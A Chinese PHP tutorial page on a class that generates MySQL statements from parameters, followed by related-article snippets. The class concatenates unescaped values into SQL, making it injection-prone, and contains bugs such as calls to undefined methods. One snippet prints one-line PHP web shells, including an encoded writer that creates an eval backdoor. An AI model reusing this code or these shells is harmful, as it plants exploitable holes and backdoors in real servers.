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PHP实现通过参数生成MYSQL语句类的方法及实例

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互联网集市收集整理的这篇技术教程文章主要介绍了PHP实现通过参数生成MYSQL语句类的方法及实例，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含14881字，纯文字阅读大概需要22分钟。

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这篇文章主要介绍了PHP实现的通过参数生成MYSQL语句类,结合完整实例形式分析了生成MYSQL语句类的实现与使用技巧,需要的朋友可以参考下

这个类可以通过指定的表和字段参数创建SELECT ,INSERT , UPDATE 和 DELETE 语句。

这个类可以创建SQL语句的WHERE条件，像LIKE的查询语句，使用LEFT JOIN和ORDER 语句

<?php
 /* *******************************************************************
Example file
This example shows how to use the MyLibSQLGen class
The example is based on the following MySQL table:
CREATE TABLE customer (
 id int(10) unsigned NOT NULL auto_increment,
 name varchar(60) NOT NULL default '',
 address varchar(60) NOT NULL default '',
 city varchar(60) NOT NULL default '',
 PRIMARY KEY (cust_id)
) TYPE=MyISAM;
******************************************************************* */ 
 require_once ( " class_mylib_SQLGen-1.0.php " );
 $fields = Array ( " name " , " address " , " city " );
 $values = Array ( " Fadjar " , " Resultmang Raya Street " , " Jakarta " );
 $tables = Array ( " customer " );
 echo  " <b>Result Generate Insert</b><br> " ;
 $object = new MyLibSQLGen();
 $object -> clear_all_assign(); // to refresh all property but it no need when first time execute 
 $object -> setFields( $fields );
 $object -> setValues( $values );
 $object -> setTables( $tables );
 if ( ! $object -> getInsertSQL()){ echo  $object -> Error; exit ;}
 else { $sql = $object -> Result; echo  $sql . " <br> " ;}
 echo  " <b>Result Generate Update</b><br> " ;
 $fields = Array ( " name " , " address " , " city " );
 $values = Array ( " Fadjar " , " Resultmang Raya Street " , " Jakarta " );
 $tables = Array ( " customer " );
 $id = 1 ;
 $conditions [ 0 ][ " condition " ] = " id='$id' " ;
 $conditions [ 0 ][ " connection " ] = "" ;
 $object -> clear_all_assign();
 $object -> setFields( $fields );
 $object -> setValues( $values );
 $object -> setTables( $tables );
 $object -> setConditions( $conditions );
 if ( ! $object -> getUpdateSQL()){ echo  $object -> Error; exit ;}
 else { $sql = $object -> Result; echo  $sql . " <br> " ;}
 echo  " <b>Result Generate Delete</b><br> " ;
 $tables = Array ( " customer " );
 $conditions [ 0 ][ " condition " ] = " id='1' " ;
 $conditions [ 0 ][ " connection " ] = " OR " ;
 $conditions [ 1 ][ " condition " ] = " id='2' " ;
 $conditions [ 1 ][ " connection " ] = " OR " ;
 $conditions [ 2 ][ " condition " ] = " id='4' " ;
 $conditions [ 2 ][ " connection " ] = "" ;
 $object -> clear_all_assign();
 $object -> setTables( $tables );
 $object -> setConditions( $conditions );
 if ( ! $object -> getDeleteSQL()){ echo  $object -> Error; exit ;}
 else { $sql = $object -> Result; echo  $sql . " <br> " ;}
 echo  " <b>Result Generate List</b><br> " ;
 $fields = Array ( " id " , " name " , " address " , " city " );
 $tables = Array ( " customer " );
 $id = 1 ;
 $conditions [ 0 ][ " condition " ] = " id='$id' " ;
 $conditions [ 0 ][ " connection " ] = "" ;
 $object -> clear_all_assign();
 $object -> setFields( $fields );
 $object -> setTables( $tables );
 $object -> setConditions( $conditions );
 if ( ! $object -> getQuerySQL()){ echo  $object -> Error; exit ;}
 else { $sql = $object -> Result; echo  $sql . " <br> " ;}
 echo  " <b>Result Generate List with search on all fields</b><br> " ;
 $fields = Array ( " id " , " name " , " address " , " city " );
 $tables = Array ( " customer " );
 $id = 1 ;
 $search = " Fadjar Nurswanto " ;
 $object -> clear_all_assign();
 $object -> setFields( $fields );
 $object -> setTables( $tables );
 $object -> setSearch( $search );
 if ( ! $object -> getQuerySQL()){ echo  $object -> Error; exit ;}
 else { $sql = $object -> Result; echo  $sql . " <br> " ;}
 echo  " <b>Result Generate List with search on some fields</b><br> " ;
 $fields = Array ( " id " , " name " , " address " , " city " );
 $tables = Array ( " customer " );
 $id = 1 ;
 $search = Array (
       " name " => " Fadjar Nurswanto " , 
       " address " => " Tomang Raya " 
    );
 $object -> clear_all_assign();
 $object -> setFields( $fields );
 $object -> setTables( $tables );
 $object -> setSearch( $search );
 if ( ! $object -> getQuerySQL()){ echo  $object -> Error; exit ;}
 else { $sql = $object -> Result; echo  $sql . " <br> " ;}
?>

类代码：

<?php
 /* 
Created By    : Fadjar Nurswanto <fajr_n@rindudendam.net>
DATE      : 2006-08-02
PRODUCTNAME    : class MyLibSQLGen
PRODUCTVERSION  : 1.0.0
DESCRIPTION    : class yang berfungsi untuk menggenerate SQL
DENPENCIES    :
 */ 
 class MyLibSQLGen
{
   var  $Result ;
   var  $Tables = Array ();
   var  $Values = Array ();
   var  $Fields = Array ();
   var  $Conditions = Array ();
   var  $Condition ;
   var  $LeftJoin = Array ();
   var  $Search ;
   var  $Sort = " ASC " ;
   var  $Order ;
   var  $Error ;
   function MyLibSQLGen(){}
   function BuildCondition()
  {
     $funct = " BuildCondition " ;
     $className = get_class ( $this );
     $conditions = $this -> getConditions();
     if ( ! $conditions ){ $this -> dbgDone( $funct ); return  true ;}
     if ( ! is_array ( $conditions ))
    {
       $this -> Error = " $className::$funct Variable conditions not Array " ;
       return ;
    }
     for ( $i = 0 ; $i < count ( $conditions ); $i ++ )
    {
       $this -> Condition .= $conditions [ $i ][ " condition " ] . "  " . $conditions [ $i ][ " connection " ] . "  " ;
    }
     return  true ;
  }
   function BuildLeftJoin()
  {
     $funct = " BuildLeftJoin " ;
     $className = get_class ( $this );
     if ( ! $this -> getLeftJoin()){ $this -> Error = " $className::$funct Property LeftJoin was empty " ; return ;}
     $LeftJoinVars = $this -> getLeftJoin();
     $hasil = false ;
     foreach ( $LeftJoinVars  as  $LeftJoinVar )
    {
      @ $hasil .= " LEFT JOIN " . $LeftJoinVar [ " table " ];
       foreach ( $LeftJoinVar [ " on " ] as  $var )
      {
        @ $condvar .= $var [ " condition " ] . "  " . $var [ " connection " ] . "  " ;
      }
       $hasil .= " ON ( " . $condvar . " ) " ;
       unset ( $condvar );
    }
     $this -> ResultLeftJoin = $hasil ;
     return  true ;
  }
   function BuildOrder()
  {
     $funct = " BuildOrder " ;
     $className = get_class ( $this );
     if ( ! $this -> getOrder()){ $this -> Error = " $className::$funct Property Order was empty " ; return ;}
     if ( ! $this -> getFields()){ $this -> Error = " $className::$funct Property Fields was empty " ; return ;}
     $Fields = $this -> getFields();
     $Orders = $this -> getOrder();
     if ( ereg ( " , " , $Orders )){ $Orders = explode ( " , " , $Order );}
     if ( ! is_array ( $Orders )){ $Orders = Array ( $Orders );}
     foreach ( $Orders  as  $Order )
    {
       if ( ! is_numeric ( $Order )){ $this -> Error = " $className::$funct Property Order not Numeric " ; return ;}
       if ( $Order  >  count ( $this -> Fields)){ $this -> Error = " $className::$funct Max value of property Sort is " . count ( $this -> Fields); return ;}
      @ $xorder .= $Fields [ $Order ] . " , " ;
    }
     $this -> ResultOrder = " ORDER BY " . substr ( $xorder , 0 ,- 1 );
     return  true ;
  }
   function BuildSearch()
  {
     $funct = " BuildSearch " ;
     $className = get_class ( $this );
     if ( ! $this -> getSearch()){ $this -> Error = " $className::$funct Property Search was empty " ; return ;}
     if ( ! $this -> getFields()){ $this -> Error = " $className::$funct Property Fields was empty " ; return ;}
     $Fields = $this -> getFields();
     $xvalue = $this -> getSearch();
     if ( is_array ( $xvalue ))
    {
       foreach ( $Fields  as  $field )
      {
         if (@ $xvalue [ $field ])
        {
           $Values = explode ( "  " , $xvalue [ $field ]);
           foreach ( $Values  as  $Value )
          {
            @ $hasil .= $field . " LIKE '% " . $Value . " %' OR " ;
          }
           if ( $hasil )
          {
            @ $hasil_final .= " ( " . substr ( $hasil , 0 ,- 4 ) . " ) AND " ;
             unset ( $hasil );
          }
        }
      }
       $hasil = $hasil_final ;
    }
     else 
    {
       foreach ( $Fields  as  $field )
      {
         $Values = explode ( "  " , $xvalue );
         foreach ( $Values  as  $Value )
        {
          @ $hasil .= $field . " LIKE '% " . $Value . " %' OR " ;
        }
      }
    }
     $this -> ResultSearch = substr ( $hasil , 0 ,- 4 );
     return  true ;
  }
   function clear_all_assign()
  {
     $this -> Result = null ;
     $this -> ResultSearch = null ;
     $this -> ResultLeftJoin = null ;
     $this -> Result = null ;
     $this -> Tables = Array ();
     $this -> Values = Array ();
     $this -> Fields = Array ();
     $this -> Conditions = Array ();
     $this -> Condition = null ;
     $this -> LeftJoin = Array ();
     $this -> Sort = " ASC " ;
     $this -> Order = null ;
     $this -> Search = null ;
     $this -> fieldSQL = null ;
     $this -> valueSQL = null ;
     $this -> partSQL = null ;
     $this -> Error = null ;
     return  true ;
  }
   function CombineFieldValue( $manual = false )
  {
     $funct = " CombineFieldsPostVar " ;
     $className = get_class ( $this );
     $fields = $this -> getFields();
     $values = $this -> getValues();
     if ( ! is_array ( $fields ))
    {
       $this -> Error = " $className::$funct Variable fields not Array " ;
       return ;
    }
     if ( ! is_array ( $values ))
    {
       $this -> Error = " $className::$funct Variable values not Array " ;
       return ;
    }
     if ( count ( $fields ) != count ( $values ))
    {
       $this -> Error = " $className::$funct Count of fields and values not match " ;
       return ;
    }
     for ( $i = 0 ; $i < count ( $fields ); $i ++ )
    {
      @ $this -> fieldSQL .= $fields [ $i ] . " , " ;
       if ( $fields [ $i ] ==  " pwd "  ||  $fields [ $i ] ==  " password "  ||  $fields [ $i ] ==  " pwd " )
      {
        @ $this -> valueSQL .= " password(' " . $values [ $i ] . " '), " ;
        @ $this -> partSQL .= $fields [ $i ] . " =password(' " . $values [ $i ] . " '), " ;
      }
       else 
      {
         if ( is_numeric ( $values [ $i ]))
        {
          @ $this -> valueSQL .= $values [ $i ] . " , " ;
          @ $this -> partSQL .= $fields [ $i ] . " = " . $values [ $i ] . " , " ;
        }
         else 
        {
          @ $this -> valueSQL .= " ' " . $values [ $i ] . " ', " ;
          @ $this -> partSQL .= $fields [ $i ] . " =' " . $values [ $i ] . " ', " ;
        }
      }
    }
     $this -> fieldSQL = substr ( $this -> fieldSQL , 0 ,- 1 );
     $this -> valueSQL = substr ( $this -> valueSQL , 0 ,- 1 );
     $this -> partSQL = substr ( $this -> partSQL , 0 ,- 1 );
     return  true ;
  }
   function getDeleteSQL()
  {
     $funct = " getDeleteSQL " ;
     $className = get_class ( $this );
     $Tables = $this -> getTables();
     if ( ! $Tables  ||  ! count ( $Tables ))
    {
       $this -> dbgFailed( $funct );
       $this -> Error = " $className::$funct Table was empty " ;
       return ;
    }
     for ( $i = 0 ; $i < count ( $Tables ); $i ++ )
    {
      @ $Table .= $Tables [ $i ] . " , " ;
    }
     $Table = substr ( $Table , 0 ,- 1 );
     $sql = " DELETE FROM " . $Table ;
     if ( $this -> getConditions())
    {
       if ( ! $this -> BuildCondition()){ $this -> dbgFailed( $funct ); return ;}
       $sql .= " WHERE " . $this -> getCondition();
    }
     $this -> Result = $sql ;
     return  true ;
  }
   function getInsertSQL()
  {
     $funct = " getInsertSQL " ;
     $className = get_class ( $this );
     if ( ! $this -> getValues()){ $this -> Error = " $className::$funct Property Values was empty " ; return ;}
     if ( ! $this -> getFields()){ $this -> Error = " $className::$funct Property Fields was empty " ; return ;}
     if ( ! $this -> getTables()){ $this -> Error = " $className::$funct Property Tables was empty " ; return ;}
     if ( ! $this -> CombineFieldValue()){ $this -> dbgFailed( $funct ); return ;}
     $Tables = $this -> getTables();
     $sql = " INSERT INTO " . $Tables [ 0 ] . " ( " . $this -> fieldSQL . " ) VALUES ( " . $this -> valueSQL . " ) " ;
     $this -> Result = $sql ;
     return  true ;
  }
   function getUpdateSQL()
  {
     $funct = " getUpdateSQL " ;
     $className = get_class ( $this );
     if ( ! $this -> getValues()){ $this -> Error = " $className::$funct Property Values was empty " ; return ;}
     if ( ! $this -> getFields()){ $this -> Error = " $className::$funct Property Fields was empty " ; return ;}
     if ( ! $this -> getTables()){ $this -> Error = " $className::$funct Property Tables was empty " ; return ;}
     if ( ! $this -> CombineFieldValue()){ $this -> dbgFailed( $funct ); return ;}
     if ( ! $this -> BuildCondition()){ $this -> dbgFailed( $funct ); return ;}
     $Tables = $this -> getTables();
     $sql = " UPDATE " . $Tables [ 0 ] . " SET " . $this -> partSQL . " WHERE " . $this -> getCondition();
     $this -> Result = $sql ;
     return  true ;
  }
   function getQuerySQL()
  {
     $funct = " getQuerySQL " ;
     $className = get_class ( $this );
     if ( ! $this -> getFields()){ $this -> Error = " $className::$funct Property Fields was empty " ; return ;}
     if ( ! $this -> getTables()){ $this -> Error = " $className::$funct Property Tables was empty " ; return ;}
     $Fields = $this -> getFields();
     $Tables = $this -> getTables();
     foreach ( $Fields  as  $Field ){@ $sql_raw .= $Field . " , " ;}
     foreach ( $Tables  as  $Table ){@ $sql_table .= $Table . " , " ;}
     $this -> Result = " SELECT " . substr ( $sql_raw , 0 ,- 1 ) . " FROM " . substr ( $sql_table , 0 ,- 1 );
     if ( $this -> getLeftJoin())
    {
       if ( ! $this -> BuildLeftJoins()){ $this -> dbgFailed( $funct ); return ;}
       $this -> Result .= "  " . $this -> ResultLeftJoin;
    }
     if ( $this -> getConditions())
    {
       if ( ! $this -> BuildCondition()){ $this -> dbgFailed( $funct ); return ;}
       $this -> Result .= " WHERE ( " . $this -> Condition . " ) " ;
    }
     if ( $this -> getSearch())
    {
       if ( ! $this -> BuildSearch()){ $this -> dbgFailed( $funct ); return ;}
       if ( $this -> ResultSearch)
      {
         if ( eregi ( " WHERE " , $this -> Result)){ $this -> Result .= " AND " . $this -> ResultSearch;}
         else { $this -> Result .= " WHERE " . $this -> ResultSearch;}
      }
    }
     if ( $this -> getOrder())
    {
       if ( ! $this -> BuildOrder()){ $this -> dbgFailed( $funct ); return ;}
       $this -> Result .= "  " . $this -> ResultOrder;
    }
     if ( $this -> getSort())
    {
       if (@ $this -> ResultOrder)
      {
         $this -> Result .= "  " . $this -> getSort();
      }
    }
     return  true ;
  }
   function getCondition(){ return @ $this -> Condition;}
   function getConditions(){ if ( count (@ $this -> Conditions) &&  is_array (@ $this -> Conditions)){ return @ $this -> Conditions;}}
   function getFields(){ if ( count (@ $this -> Fields) &&  is_array (@ $this -> Fields)){ return @ $this -> Fields;}}
   function getLeftJoin(){ if ( count (@ $this -> LeftJoin) &&  is_array (@ $this -> LeftJoin)){ return @ $this -> LeftJoin;}}
   function getOrder(){ return @ $this -> Order;}
   function getSearch(){ return @ $this -> Search;}
   function getSort(){ return @ $this -> Sort ;}
   function getTables(){ if ( count (@ $this -> Tables) &&  is_array (@ $this -> Tables)){ return @ $this -> Tables;}}
   function getValues(){ if ( count (@ $this -> Values) &&  is_array (@ $this -> Values)){ return @ $this -> Values;}}
   function setCondition( $input ){ $this -> Condition = $input ;}
   function setConditions( $input )
  {
     if ( is_array ( $input )){ $this -> Conditions = $input ;}
     else { $this -> Error = get_class ( $this ) . " ::setConditions Parameter input not array " ; return ;}
  }
   function setFields( $input )
  {
     if ( is_array ( $input )){ $this -> Fields = $input ;}
     else { $this -> Error = get_class ( $this ) . " ::setFields Parameter input not array " ; return ;}
  }
   function setLeftJoin( $input )
  {
     if ( is_array ( $input )){ $this -> LeftJoin = $input ;}
     else { $this -> Error = get_class ( $this ) . " ::setFields Parameter input not array " ; return ;}
  }
   function setOrder( $input ){ $this -> Order = $input ;}
   function setSearch( $input ){ $this -> Search = $input ;}
   function setSort( $input ){ $this -> Sort = $input ;}
   function setTables( $input )
  {
     if ( is_array ( $input )){ $this -> Tables = $input ;}
     else { $this -> Error = get_class ( $this ) . " ::setTables Parameter input not array " ; return ;}
  }
   function setValues( $input )
  {
     if ( is_array ( $input )){ $this -> Values = $input ;}
     else { $this -> Error = get_class ( $this ) . " ::setValues Parameter input not array " ; return ;}
  }
}
?>

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php中对用户信息进行更新执行mysql语句时update无法正确更新【图】

mysql 这是代码这个更新语句不知道有没有什么问题第一个是打印出update的执行结果是true 证明sql语句能运行，但是不知道是否能达到目的数据库中的结果，没有更新成功，但是用户名变为了0，密码没有更变成功请阁下帮忙分析指点一下

php执行sql语句的写法

代码如下:<?php @mysql_connect("localhost", "root","1981427") //选择数据库之前需要先连接数据库服务器 or die("数据库服务器连接失败"); @mysql_select_db("test") //选择数据库mydb or die("数据库不存在或不可用"); $query = @mysql_query("select * from tablename1") //执行SQL语句 or die("SQL语句执行失败"); ?> 代码如下:<?php @mysql_connect("localhost", "root","1981427") //选择数据库之前需要先连接数据库服务器 ...

php与mysql建立连接并执行SQL语句的代码

今天写了一个小程序，很小很小，只不过是能够建立php与mysql的链接，并且实现简单的SQL语句。新手初试，还请各路高手多多指导。程序源代码如下：代码如下:<?php $conn = mysql_connect("localhost","root","") or die ("wrong!"); $sel=mysql_select_db("mydb",$conn); $sql="INSERT INTO `mydb`.`test` ( `id` , `uid` , `regdate` , `remark` ) VALUES ( , php200, now( ) , dddd ) "; $que=mysql_query($sql,$conn); if($qu...

PHP一句话木马小结与SQL语句写一句话木马

一、基础类的一句话--功能仅限于验证漏洞了，实际中非常容易被查出出来：<?php @eval($_GET["code"])?> <?php @system($_POST["cmd"])?>二、编码的替换的类型：<?php @fputs(fopen(base64_decode(bG9zdC5waHA=),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg==));?> //会生成<?php @eval($_POST[lostwolf]);?><script language="php">@fputs(fopen(base64_decode(bG9zdC5waHA=),w),base64_decode(PD9waHAgQGV2...

PHP一句话木马小结与SQL语句写一句话木马【代码】

sql语句PHP批量删除sql语句

首先要了解sql语句$SQL="delete from `jb51` where id in (1,2,4)"; 表单大概是：代码如下: php函数主要用到implode 代码如下:$ID_Dele= implode(",",$_POST[ID_Dele]); $SQL="delete from `user` where id in ($ID_Dele)"; http://www.gxlcms.com/article/6488.htm以上就介绍了sql语句 PHP 批量删除 sql语句，包括了sql语句方面的内容，希望对PHP教程有兴趣的朋友有所帮助。

select语句phpmssql分页SQL语句优化持续影响

代码如下:/** * @Filename :page.sql.class.php * @CreatTime :2009-01-06 * @Descrition :此类为SQL语句处理类。 * @UpdateTime-1 :null * @Version :jswweb1.0.0 * @Author :fkedwgwy * @Dome : $sql//SQL语句 $allcount//总记录数 $pagesize//页面显示记录条数 $page//当前页 $sqlc= new sqlpage($sql,$allcount,$pagesize,$page); $sql=$sqlc->getsql(); 优化后的语句： SELECT * FROM (SELECT TOP 10 * FROM (SELECT TOP 270 ...

在PHP中格式化并高亮SQL语句【图】

jdorn/sql-formatter 是一个轻量级的 PHP 类用于格式化 SQL 语句。它支持自动进行缩进、添加换行，甚至还支持语法高亮。在命令行内使用该扩展包包含一个 bin/sql-formatter 可执行文件，可直接用于命令行格式化 SQL。使用 Composer 全局安装后便可使用该命令了：composer global require jdorn/sql-formatter sql-formatter "SELECT SOME QUERY;" // 直接格式化 // 或 echo "SELECT SOME QUERY;" | sql-formatter // 使用管道，更适...

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PHP实现通过参数生成MYSQL语句类的方法及实例

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php中对用户信息进行更新执行mysql语句时update无法正确更新【图】

php执行sql语句的写法

php与mysql建立连接并执行SQL语句的代码

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